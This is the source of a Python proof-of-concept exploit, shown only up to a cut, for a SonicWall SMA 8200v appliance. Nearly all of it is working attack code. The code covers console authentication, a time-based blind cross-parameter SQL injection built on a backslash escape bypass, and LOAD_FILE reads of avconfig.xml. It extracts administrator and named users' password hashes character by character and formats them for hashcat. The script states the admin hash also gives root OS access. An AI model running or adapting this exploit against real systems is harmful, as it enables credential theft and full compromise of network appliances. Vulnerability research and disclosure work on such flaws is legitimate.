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| #!/usr/bin/env python3
"""
SonicWall SMA 8200v - Admin Hash Extraction via SQL Injection + LOAD_FILE
=========================================================================
CVE: TBD (Cross-Parameter SQL Injection via safeParam() Backslash Bypass)
Affected: SMA 8200v firmware 12.5.0-02283 (and likely other 12.x versions)
DESCRIPTION:
Extracts the management console administrator's SHA-512 password hash
from avconfig.xml using a post-authentication blind SQL injection in the
admin console's activeUsers.action endpoint (port 8443).
The admin hash stored in avconfig.xml is the same credential used for:
- Management console login (port 8443)
- Root OS login (SSH, serial console)
Cracking this hash provides full appliance compromise.
ATTACK CHAIN:
1. Authenticate to admin console (port 8443, j_security_check)
2. Cross-parameter blind SQLi (realmFilter backslash + communityFilter)
3. LOAD_FILE() reads avconfig.xml (DbAdmin has FILE privilege,
secure_file_priv is unrestricted, file is world-readable)
4. SQL LOCATE() targets the admin <password> element (after
<consoleMode> anchor) without hardcoded offsets
5. Binary search extracts hash char-by-char (7 requests/char)
6. Output in hashcat-compatible format ($6$ = mode 1800)
TIMING:
~98 chars * ~7 requests/char * ~0.5s/request = ~5-6 minutes
ROOT CAUSE:
safeParam() in com.aventail.mgmt.sql.Sql escapes single-quotes and
double-quotes but NOT backslashes, enabling cross-parameter injection.
AUTHORIZATION:
For authorized penetration testing engagements only.
USAGE:
# Extract admin hash and display hashcat command:
python3 sma_admin_hash_poc.py -t <IP> -P <password>
# Extract and write hashcat-ready file:
python3 sma_admin_hash_poc.py -t <IP> -P <password> -o admin.hash
# Extract any user hash from avconfig.xml by anchor keyword:
python3 sma_admin_hash_poc.py -t <IP> -P <password> --anchor userName --anchor-value anthony.cihan
# Verbose mode with timing stats:
python3 sma_admin_hash_poc.py -t <IP> -P <password> -v
"""
import argparse
import os
import re
import subprocess
import sys
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
import requests
except ImportError:
print("[!] 'requests' library required: pip3 install requests")
sys.exit(1)
# ============================================================================
# CONSTANTS
# ============================================================================
CONSOLE_PORT = 8443
ACTION_URL = "/activeUsers.action"
LOGIN_URL = "/console.action"
AUTH_URL = "/j_security_check"
# Target file path on appliance
AVCONFIG_PATH = "/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml"
# Time-based blind thresholds
SLEEP_DURATION = 0.3 # Seconds per SLEEP call
TRUE_THRESHOLD = 1.5 # Response time (s) above which = TRUE
FALSE_THRESHOLD = 0.5 # Response time (s) below which = FALSE
REQUEST_TIMEOUT = 30 # Max wait for HTTP response
# SHA-512 crypt hash properties
SHA512_PREFIX = "$6$"
SHA512_MAX_LEN = 120 # Max possible length including prefix, salt, and hash
def _update_timing(sleep_dur, true_thresh):
"""Update global timing parameters."""
global SLEEP_DURATION, TRUE_THRESHOLD
SLEEP_DURATION = sleep_dur
TRUE_THRESHOLD = true_thresh
# ============================================================================
# BANNER
# ============================================================================
def banner():
print(r"""
+================================================================+
| SonicWall SMA 8200v - Admin Hash Extraction PoC |
| Firmware: 12.5.0-02283 (and likely other 12.x) |
| Chain: Auth -> SQLi -> LOAD_FILE(avconfig.xml) -> Hash |
| Impact: Admin hash = Root OS password (full compromise) |
+================================================================+
""")
# ============================================================================
# HELPERS
# ============================================================================
def to_hex(s):
"""Convert string to MySQL hex literal (0x...)."""
return "0x" + s.encode("utf-8").hex()
def to_char_concat(s):
"""Convert string to CHAR(n,n,n,...) for SQL without quotes."""
return "CHAR(" + ",".join(str(ord(c)) for c in s) + ")"
# ============================================================================
# AUTHENTICATION
# ============================================================================
def authenticate(target, port, username, password, realm="", verbose=False):
"""
Authenticate to the SMA admin console on port 8443.
Flow:
1. GET /console.action -> extract CSRF token from login form
2. POST /j_security_check with csrfToken, j_username, j_password, realmId
3. Follow redirect to /console.action to establish session
4. Return session with valid JSESSIONID cookie
Auth realms:
"" -> "Management Console" (primary admin, default)
"AMCAuthRealm" -> "Local Authentication" (secondary admins: readonly, etc.)
"""
base_url = f"https://{target}:{port}"
session = requests.Session()
session.verify = False
# Step 1: Get login page and extract CSRF token
if verbose:
print(f"[*] Fetching login page: {base_url}{LOGIN_URL}")
try:
resp = session.get(f"{base_url}{LOGIN_URL}", timeout=15)
except requests.exceptions.ConnectionError as e:
print(f"[!] Cannot connect to {base_url}: {e}")
return None, None
csrf_match = re.search(r'name="csrfToken"\s+value="([^"]+)"', resp.text)
if not csrf_match:
csrf_match = re.search(
r'csrfToken["\s]*(?:value=|:)["\s]*([A-Z0-9]+)', resp.text
)
if not csrf_match:
print("[!] Could not extract CSRF token from login page")
if verbose:
print(f" Response snippet: {resp.text[:500]}")
return None, None
csrf_token = csrf_match.group(1)
if verbose:
print(f"[*] CSRF token: {csrf_token}")
# Step 2: POST authentication (with realmId for non-default realms)
auth_data = {
"csrfToken": csrf_token,
"j_username": username,
"j_password": password,
"realmId": realm,
}
if verbose and realm:
print(f"[*] Auth realm: {realm}")
resp = session.post(
f"{base_url}{AUTH_URL}",
data=auth_data,
allow_redirects=True,
timeout=15,
)
# Step 3: Verify authentication succeeded
if resp.status_code == 200 and "console.action" in resp.url:
jsessionid = session.cookies.get("JSESSIONID", "unknown")
if verbose:
print(f"[+] Authenticated. JSESSIONID: {jsessionid[:30]}...")
return session, base_url
elif "j_security_check" in resp.url or resp.status_code == 401:
print("[!] Authentication failed. Check credentials.")
return None, None
else:
if verbose:
print(
f"[?] Unexpected auth response: HTTP {resp.status_code} -> {resp.url}"
)
check = session.get(f"{base_url}{LOGIN_URL}", timeout=10)
if check.status_code == 200 and "activeUsers" in check.text:
return session, base_url
return None, None
# ============================================================================
# CROSS-PARAMETER BLIND SQL INJECTION
# ============================================================================
def sqli_request(session, base_url, sql_expression, sleep_time=SLEEP_DURATION,
verbose=False):
"""
Execute a time-based blind SQL injection via the cross-parameter technique.
Injection anatomy:
realmFilter = test\\
-> In SQL: rt.name='test\\') [backslash escapes the closing quote]
-> String extends through: ') AND (ct.name='
-> String value becomes: "test') AND (ct.name="
communityFilter = )) OR (SELECT IF(<cond>, SLEEP(N), 0))-- x
-> After string closes, )) closes the WHERE parens
-> OR (SELECT IF(...)) wraps in scalar subquery so SLEEP
executes exactly ONCE regardless of row count
-> -- x comments out remaining SQL
Returns:
True - condition is TRUE (response delayed >= TRUE_THRESHOLD)
False - condition is FALSE (response fast < FALSE_THRESHOLD)
None - indeterminate (response time between thresholds)
"""
# Scalar subquery ensures SLEEP executes once, not per-row
payload = f")) OR (SELECT IF({sql_expression},SLEEP({sleep_time}),0))-- x"
form_data = {
"realmFilter": "test\\",
"communityFilter": payload,
"userNameFilter": "",
"zoneFilter": "",
"platformFilter": "",
"agentFilter": "",
"agentVersionFilter": "",
"sessionType": "activeSessions",
"timePeriod": "0",
"pageSize": "25",
"command": "filter",
}
url = f"{base_url}{ACTION_URL}"
start = time.time()
try:
resp = session.post(url, data=form_data, timeout=REQUEST_TIMEOUT)
elapsed = time.time() - start
except requests.exceptions.Timeout:
elapsed = REQUEST_TIMEOUT
if verbose:
print(f" [timeout after {elapsed:.1f}s]")
return True
except requests.exceptions.ConnectionError:
return None
if verbose:
print(f" Response: HTTP {resp.status_code}, {elapsed:.2f}s")
if elapsed >= TRUE_THRESHOLD:
return True
elif elapsed <= FALSE_THRESHOLD:
return False
else:
return None
def extract_char_binary_search(session, base_url, sql_value_expr, position,
verbose=False):
"""
Extract a single character using binary search over ASCII range.
ORD(SUBSTRING(expr, pos, 1)) comparisons, 7 requests max per char.
"""
low, high = 0, 127
while low < high:
mid = (low + high) // 2
condition = f"ORD(SUBSTRING(({sql_value_expr}),{position},1))>{mid}"
result = sqli_request(session, base_url, condition, verbose=verbose)
if result is True:
low = mid + 1
elif result is False:
high = mid
else:
# Indeterminate - retry with longer sleep
result2 = sqli_request(
session, base_url, condition,
sleep_time=SLEEP_DURATION * 2, verbose=verbose
)
if result2 is True:
low = mid + 1
elif result2 is False:
high = mid
else:
return None
if low == 0:
return None
return chr(low)
def extract_string(session, base_url, sql_value_expr, max_length=100,
verbose=False, label="data"):
"""
Extract a string value character by character via blind SQLi.
Returns the extracted string.
"""
# Non-NULL check
null_check = f"({sql_value_expr}) IS NOT NULL"
result = sqli_request(session, base_url, null_check, verbose=verbose)
if result is not True:
print(f" [-] Expression returned NULL or check failed")
return None
# Length > 0 check
length_expr = f"LENGTH(({sql_value_expr}))>0"
result = sqli_request(session, base_url, length_expr, verbose=verbose)
if result is not True:
print(f" [-] Expression returned empty string")
return ""
extracted = []
print(f" Extracting {label}: ", end="", flush=True)
for pos in range(1, max_length + 1):
char = extract_char_binary_search(
session, base_url, sql_value_expr, pos, verbose=verbose
)
if char is None:
break
extracted.append(char)
print(char, end="", flush=True)
# Early termination: if we hit </password> tag start
if len(extracted) >= 4 and "".join(extracted[-1:]) == "<":
# Check if next few chars form </
peek = extract_char_binary_search(
session, base_url, sql_value_expr, pos + 1, verbose=verbose
)
if peek == "/":
extracted.pop() # Remove the '<'
break
print()
return "".join(extracted)
# ============================================================================
# ADMIN HASH EXTRACTION
# ============================================================================
def build_admin_hash_sql(avconfig_path, anchor="consoleMode",
anchor_value=None):
"""
Build SQL expression to extract the admin password hash from avconfig.xml.
Strategy:
1. LOAD_FILE(avconfig.xml) reads the full config
2. LOCATE('consoleMode', file) finds the admin section anchor
3. LOCATE('<password>', file, anchor_pos) finds the admin <password> tag
4. SUBSTRING from <password> tag + 10 chars (tag length) extracts hash
5. SUBSTRING_INDEX(..., '<', 1) trims at the closing </password> tag
This approach is position-independent and works regardless of config changes
above the admin section.
"""
hex_path = to_hex(avconfig_path)
# Build anchor search
anchor_hex = to_hex(anchor)
password_tag_hex = to_hex("<password>")
password_tag_len = 10 # len("<password>")
# SQL expression:
# SUBSTRING_INDEX(
# SUBSTRING(
# LOAD_FILE(path),
# LOCATE('<password>', LOAD_FILE(path),
# LOCATE('consoleMode', LOAD_FILE(path))
# ) + 10,
# 200
# ),
# '<',
# 1
# )
#
# This extracts the content between <password> and </password> for the
# admin entry (the one after consoleMode in the XML).
sql = (
f"SUBSTRING_INDEX("
f"SUBSTRING("
f"LOAD_FILE({hex_path}),"
f"LOCATE({password_tag_hex},LOAD_FILE({hex_path}),"
f"LOCATE({anchor_hex},LOAD_FILE({hex_path})))"
f"+{password_tag_len},"
f"{SHA512_MAX_LEN}"
f"),"
f"CHAR(60)," # '<' character - trims at </password>
f"1)"
)
return sql
def build_custom_anchor_sql(avconfig_path, anchor_tag, anchor_value):
"""
Build SQL to extract a password hash near a custom anchor.
For example, to extract the VPN user 'anthony.cihan' hash:
anchor_tag = 'userName'
anchor_value = 'anthony.cihan'
Searches for <anchor_tag>anchor_value</anchor_tag> then finds the
nearest <password> tag after it.
"""
hex_path = to_hex(avconfig_path)
anchor_str = f"{anchor_value}</{anchor_tag}>"
anchor_hex = to_hex(anchor_str)
password_tag_hex = to_hex("<password>")
password_tag_len = 10
sql = (
f"SUBSTRING_INDEX("
f"SUBSTRING("
f"LOAD_FILE({hex_path}),"
f"LOCATE({password_tag_hex},LOAD_FILE({hex_path}),"
f"LOCATE({anchor_hex},LOAD_FILE({hex_path})))"
f"+{password_tag_len},"
f"{SHA512_MAX_LEN}"
f"),"
f"CHAR(60),"
f"1)"
)
return sql
def verify_sqli(session, base_url, verbose=False):
"""Verify the SQL injection works by testing unconditional SLEEP."""
print("[*] Verifying SQL injection...")
start = time.time()
result = sqli_request(session, base_url, "1=1", verbose=verbose)
elapsed = time.time() - start
if result is True:
print(f"[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered ({elapsed:.1f}s)")
return True
else:
print(f"[-] SQLi verification failed (response: {elapsed:.1f}s)")
return False
def verify_file_read(session, base_url, filepath, verbose=False):
"""Verify LOAD_FILE can read the target file."""
hex_path = to_hex(filepath)
condition = f"LOAD_FILE({hex_path}) IS NOT NULL"
result = sqli_request(session, base_url, condition, verbose=verbose)
if result is True:
print(f"[+] LOAD_FILE({filepath}) - readable")
return True
else:
print(f"[-] LOAD_FILE({filepath}) - NULL (cannot read)")
return False
def verify_admin_hash_exists(session, base_url, avconfig_path, verbose=False):
"""Verify the admin hash location can be found in avconfig.xml."""
hex_path = to_hex(avconfig_path)
anchor_hex = to_hex("consoleMode")
password_hex = to_hex("<password>$6$")
# Check that consoleMode exists in the file
condition = (
f"LOCATE({anchor_hex},LOAD_FILE({hex_path}))>0"
)
result = sqli_request(session, base_url, condition, verbose=verbose)
if result is not True:
print("[-] 'consoleMode' anchor not found in avconfig.xml")
return False
print("[+] consoleMode anchor found in avconfig.xml")
|
